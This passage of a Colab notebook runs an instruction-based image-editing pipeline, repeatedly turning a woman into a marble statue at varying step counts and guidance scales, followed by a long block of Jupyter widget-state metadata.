image_guidance_scale=2).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "16063a5dd86649f2b7f37184c7ac0593", + "fb156e0150e24ec9a367a1e26c4750ec", + "925594a07eba4bdc92e59ef1df5ea63e", + "d5228dfbe50b4d078996b74d1b71ba28", + "6daa2b5b26e4459aa5bdebd0062cf021", + "740417603bd94bf698fdba5b374d7c3a", + "2ddf4013353e48b9a62c70e2eb68502e", + "e25cb8e08bae4c56a84874cf31cd84c4", + "92d4de954f0442778144c26caae5ee83", + "6b04b7bfcca645368b1287a3467bc3a1", + "4e8ec740f2ba45d1817c46b449e34423" + ] + }, + "id": "-nR6LrUMjP7U", + "outputId": "f6c19181-afaa-47a0-a950-a6b0a740ca81" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "1b448e7eb7c842c2ad3598e401c5a101", + "b25958353ffe4063bf8d09ed149c2550", + "e25496021c9f4046bb83f585601baaf4", + "69484df819aa44b3858b76432cc84beb", + "f6ecc0d4fe1545d8bd0a16de5960285b", + "b5c2efd1f5044b68bfb75d5fe16d7829", + "48faccb381254cd99a649c239a419649", + "48b23ac8e7ce46239504712135b41444", + "6f520ae078104d70945b5d42ded1a75a", + "a726d364296442e196e973e575578c30", + "94b5651c5cd14901ac59ce22bb80fcfa" + ] + }, + "id": "LUXIW3bkjW3R", + "outputId": "aab0ef83-9119-461c-81e5-4c65d2285595" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=30, image_guidance_scale=1).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "05328f40cf5642359294af84f26355c3", + "792bda382a844c8a9bd9c9de789b44ac", + "db498aee51494067b6ad507e47f37bd4", + "2b7aaec231e244b1899f99e893b053df", + "3c3af60f4f07476c8700910b4259a066", + "1bbd2bbca0c04df982278b7c24c8c320", + "ee190ee62fb24dacb96d9b57e562c3b9", + "ce20d1f9a55a42518c521eb5a1c8b414", + "f019b7a1faf1469c87b048319a9b71ef", + "4afa3f9ee15546c1979113f0e618efcf", + "fa37cd2e2ac94455ab624a75eb0a105d" + ] + }, + "id": "fux7MnDwjW5h", + "outputId": "25cadb9d-9e09-4af1-c49c-7405517bc380" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=50, image_guidance_scale=1).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "0711e6b0af7e4905a8136cf407e2ae8b", + "901f71e702474e77be59006bba599918", + "1d10557816514c4bb08d957fdde13904", + "3bfe8491fdc84726a9a2ea2a9eb33884", + "c4f63d6416174604a065f2dc2b8775a7", + "e82bcca350364e229895710e7d145fbf", + "be553a7df92e48b687fc177f7ba3c5fd", + "9dc480c24e9844599de9f1e5e3638f33", + "dffb565d8879412ba6c9989b02cbe661", + "7be8f4522cdc41f08c69b4a36520eb5a", + "ebfab18cc7484b71bb252d4e242e3b40" + ] + }, + "id": "8_cahN3NjW8y", + "outputId": "dea98f5f-1d7c-45e7-bf5c-cae01347e182" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=30, image_guidance_scale=1.6).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "f001e880d8f3453a9395eb78329dbbc7", + "8b41d5c904a942a0bcee642499015089", + "84df3286d6044ab5aa6e8cb6c8d1b813", + "e0448b4988f643dd9f12e4fca280dbee", + "f259a8f8222c41eea77498acd6d4e4aa", + "7cfb6d760505428e9ffc07fe0fbca962", + "a66a0a813bc24011a91f56778e88244e", + "39a24d7b46f2428597c345b1d0ac8680", + "f48ce6b6925b4b058f8679d73c039ac8", + "75327980774b4419a9ec50f97a0c1d75", + "7adf45fac6804cbcbbe5d7c6cbdfd878" + ] + }, + "id": "A0vo9G6QjjMu", + "outputId": "16526be0-4602-4ede-9b02-a63b322f3866" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=50, image_guidance_scale=1.6).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "12300224bc654d47b7dd02e04835203a", + "dafd2b93bc6245a88e6631f306fc1e9b", + "59514b4f9b8f4930a1b07aad4ab19d25", + "c25bc0fc44214d9f8a5f4abba43eaf09", + "f76d97ab2a6e46d5891af7fc0c3f511b", + "f38555fda53a4edf92271a97db3f7dd5", + "8f135d6a55484caf92a325c375e16005", + "932741fa7e674b6595866eecaf746bc9", + "eb2855fb57d64857ab32fafd3a77b457", + "f40c98061f2946b1885193ee817c52a3", + "9a91880b909e4b05bf668c410f978ca2" + ] + }, + "id": "NhlQaACLjjO4", + "outputId": "939a5324-7595-434f-a4bc-2b53af54a0a4" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=100, image_guidance_scale=1.6).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "e416557198234698affa1b9410fa0967", + "cc1d355b4f6440fab9de50ccc5a268b8", + "9dec2df865ed4e8399c511f504e460f7", + "0439a988a2834c379b037e5faba17290", + "c0bb5873a4ca4462a28773a269a6c551", + "4e3739037f2b44d2bd1ecaa20b29d70c", + "79b4c9681b0d496ab86f77b6b4902ad6", + "04835e754bc84aa392f824e387a8b205", + "dffbab23b4c34df9b6f9e8ff6c1a1912", + "3f2fee0c35144daf8234caf57ad3907e", + "f0ad1221f0f84ac085df2315bd00d572" + ] + }, + "id": "TBNS9bghjjRd", + "outputId": "bd9c97e8-fb45-4dac-d8ff-9a2f95bc74fc" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=100, image_guidance_scale=1.2).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "ec6d2dd0f61e42478903c839bc3395ec", + "96127d57c04f45fd91dab7aa30607e63", + "a109094931b742ee9f4376e54d62660c", + "851980277e5e486a9962a2e7607be100", + "3d4c455dc8344c7b8b42a609322713e8", + "bc2730d310454290aedf3e63087213f5", + "ec3c6adaf7ed44469ac0a58490dd5159", + "2c4ab41623ca4ce3961c8a105536ecdf", + "36cb537e89324f54b767df1e24045108", + "0220a92b3977434dab97c2329e9f5013", + "c65c5e6845254d47b6b0370b306b9eef" + ] + }, + "id": "nSuYvr5kjjU4", + "outputId": "1774887b-ec10-43e1-b31c-b014ba67d6a5" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=100, image_guidance_scale=1.3).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "c2c64d6095704db88ec2210ae3cbfb35", + "94b45bc6f5e24cf3aa16f431bc7ed58a", + "3f197b982242418bb24f4156db991c19", + "a9d50ec01c8045af902bf580e92ab30c", + "ddebad755dce4da8887eb7f3d4dd49ba", + "1855195ecd9a4ba993c2a4e298d21a44", + "03098089aa0d4e879c1f50cce8384a4e", + "56310a7fb0804b43a60815c858d910c5", + "a401d37863744fd58fe863b27d6a562b", + "92d0bc42d43c46b2a720ee96e7353232", + "641c3e365227455c87baeb3597c44cde" + ] + }, + "id": "xUt10Q-xk8hQ", + "outputId": "568f516a-0675-4bbe-d51c-b2bffa6a6277" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=0.8).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "50b52602c923405eb91d1a4a7af8b5c5", + "9c621a99b504459590a39098afbe5d50", + "50207c4a7c9d439896796dd407c1c3da", + "bd4b11f4948c40fb8101049fa3754dde", + "041e8d74b5744f908e37407f4cdece4e", + "5c825455d85948b99f86b3495de63b29", + "516f366ed73b4ed0991a6a91fb22a3d8", + "e67431e7efe24016bcf04dfbcffc776e", + "e23ebecc8f5f4598a991da021d78ddd2", + "5189fa18ab144b5a93124e0b555d5677", + "43ac63628b35419cb9db5d234951e84f" + ] + }, + "id": "9TlXJNevk8jq", + "outputId": "a3d5effc-8c54-49bc-baab-305daa9a2621" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=0.6).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "abeaf2b96435442589d217ce731feaf4", + "c2b0ede066bf405593c66384d9548613", + "c3a851883eba4e11b70c705a5fae3ee2", + "c0c76cb4f1a04bfe86598e0e0dbffe23", + "bbac2ab035374103b2c4912aeda2e425", + "e11583de8d894d3da80ef3bb1fe52e08", + "48e9b5493b8f4191b9707df7c83b0f50", + "6f03e27712e84cc49ad1a665c7537f12", + "f3d1f71549674156b493e3771784ec68", + "39e7952fd2c34271a44ca997250a313c", + "4dc4d2c609eb40eaa6df50be567b2c61" + ] + }, + "id": "WRjTQNtkk8nE", + "outputId": "5c056095-0dea-483e-b632-18751f6c3267" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1.5).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "330eb2500161464db0d797d2f04e550f", + "8e7b4587729f4fe597e2342b9e8c5b06", + "c4d2925dd1dd40bab2b22f09bf9497e6", + "55470891a5ad41f2b04d3d5c86c1c934", + "0afcffbca4c1462ba2bc1d3cd1aa2c13", + "91f6c95c7ded4ca0a5fbf7d2f5b8eb67", + "4dc511c396c5492c8d707ba52783edcb", + "8ce35b01fc9a4b6fbdd650491a58f188", + "18885db0114b49ee8eeb0af098b9a8c9", + "9e6fae549ea447e89a0ab36ba19e5fab", + "d79c2804b05248d8989a1462716a3478" + ] + }, + "id": "Mg2Lb-zmlb5x", + "outputId": "4d02793b-0ee1-4f20-82bf-2dc4dd42e550" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1.5, guidance_scale=10).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "ac4c75c4296f46e39a0435d0dbafc277", + "916ddc4e29e448788ab4fdeb38d4a217", + "aa75dd567b114609a3f47591a002709c", + "b3c948132a7a42eab9a90a4c64d0087d", + "fbbee3ba802b41c084ee35dccc8bbabf", + "4d91d312e2ff43509652ce52d7d999d3", + "3808c4765a054dd0a2771050871177a4", + "532e652d4d5245c8b7579c4fda4217c3", + "4b313724533349be92ef5cb53c1388cd", + "4b39f1322aca40da82220ddcfa0c3975", + "0f564dbb7bc94fd4880dfd72e6547694" + ] + }, + "id": "cyMZAXBylb9O", + "outputId": "a625892a-f411-4f91-8d49-249d25fb2146" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1.5, guidance_scale=15).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "mIGaidaV2JJ4" + }, + "outputs": [], + "source": [] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 473, + "referenced_widgets": [ + "c964733e23d749a0bd2069fc80b5fce7", + "c30a4ba5e89d42bfbd3ad524b9ed1303", + "d9486e79630742c89fa5f6a104580064", + "2c0421659acb482295485521efb6bb03", + "1431d8d8d9b04038b4e774fd743b78cd", + "51a8aa7fde0c449392867b95a7aa6c16", + "d39253a104af48aab68a5590b0159487", + "acccd96a575d4a679112ff80c935f1c9", + "9038138255b442b7b17885ab7f31aed1", + "1766005fceb14bd5a1910622789cc5ad", + "b3ca161774d7404d903afbed855f054f" + ] + }, + "id": "Hh399h-cdtMe", + "outputId": "ad42fbd2-68d4-4b1d-f811-57c0fcbfbef3" + }, + "outputs": [], + "source": [ + "prompt = \"turn the red wooden stick to brown\"\n", + "images2 = pipe(prompt, image=images[0], num_inference_steps=10, image_guidance_scale=1).images\n", + "images2[0]" + ] + } + ], + "metadata": { + "accelerator": "GPU", + "colab": { + "collapsed_sections": [ + "CqAnOnnOcp4W", + "mPGPiJhXcsr4", + "6rAfgSFK3s-B", + "OU9zLHTR2H_j" + ], + "gpuType": "T4", + "provenance": [] + }, + "kernelspec": { + "display_name": "Python 3", + "name": "python3" + }, + "language_info": { + "name": "python" + }, + "widgets": { + "application/vnd.jupyter.widget-state+json": { + "0220a92b3977434dab97c2329e9f5013": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "03098089aa0d4e879c1f50cce8384a4e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "039beb2fc4c6412d9e05d9d50884e940": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_0cf59b40f6304ec38bdaaee06943173f", + "IPY_MODEL_63ecaa7f41ce4289aa768b77e9ceebe7", + "IPY_MODEL_2a8a4ed0b2854b558efd5acce8dcf5c2" + ], + "layout": "IPY_MODEL_19469649ab6b44f8b1d6408ac2646579" + } + }, + "03c6a309fc494734bd9ebf16634f9063": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "041e8d74b5744f908e37407f4cdece4e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "0439a988a2834c379b037e5faba17290": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_3f2fee0c35144daf8234caf57ad3907e", + "placeholder": "​", + "style": "IPY_MODEL_f0ad1221f0f84ac085df2315bd00d572", + "value": " 100/100 [00:26<00:00, 3.70it/s]" + } + }, + "04835e754bc84aa392f824e387a8b205": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "04ec14e8bc8f4ad5827e351c01e5a1ee": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "05328f40cf5642359294af84f26355c3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_792bda382a844c8a9bd9c9de789b44ac", + "IPY_MODEL_db498aee51494067b6ad507e47f37bd4", + "IPY_MODEL_2b7aaec231e244b1899f99e893b053df" + ], + "layout": "IPY_MODEL_3c3af60f4f07476c8700910b4259a066" + } + }, + "06e488fd0cbb44a79328b0c88392b650": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_7af9fef14d3a4464aa16232f9d2cf94a", + "max": 569, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_c13cbe7f79d64c9a9ae4fb90a5cbef9a", + "value": 569 + } + }, + "0711e6b0af7e4905a8136cf407e2ae8b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_901f71e702474e77be59006bba599918", + "IPY_MODEL_1d10557816514c4bb08d957fdde13904", + "IPY_MODEL_3bfe8491fdc84726a9a2ea2a9eb33884" + ], + "layout": "IPY_MODEL_c4f63d6416174604a065f2dc2b8775a7" + } + }, + "09bc80852b334a6f9905c6d93eada57c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_7bcb49396cf84ea6878d5ceddd480326", + "max": 10, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_8c8b4b87df9242318f1ceaf5fc00b216", + "value": 10 + } + }, + "0a2014cc648840249d57eb9c569e9fa1": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "0ace66c377a14034a594774ec024e074": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_9d28ea1de5494de5b911c1f120185b7a", + "placeholder": "​", + "style": "IPY_MODEL_9887290953b6414eacb4396a5b240a2e", + "value": "100%" + } + }, + "0afcffbca4c1462ba2bc1d3cd1aa2c13": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "0b695e5be5184a43a9f26b21f69a4338": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_0cc9773ba8b3455495375b0b955891e6", + "max": 1021, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_95adb39e73614c96af18ccb2468d5b37", + "value": 1021 + } + }, + "0c1419eec41b48f093ec53410c10c583": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "0cc9773ba8b3455495375b0b955891e6": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "0cf59b40f6304ec38bdaaee06943173f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_1cbc65f4245e4c25a64827f0e2beb08d", + "placeholder": "​", + "style": "IPY_MODEL_59e8c90ecdf04c2b89f9a539e7f7fdbb", + "value": "100%" + } + }, + "0ef6a22743594f0081b7af4c1ec4ab71": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "0f564dbb7bc94fd4880dfd72e6547694": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + 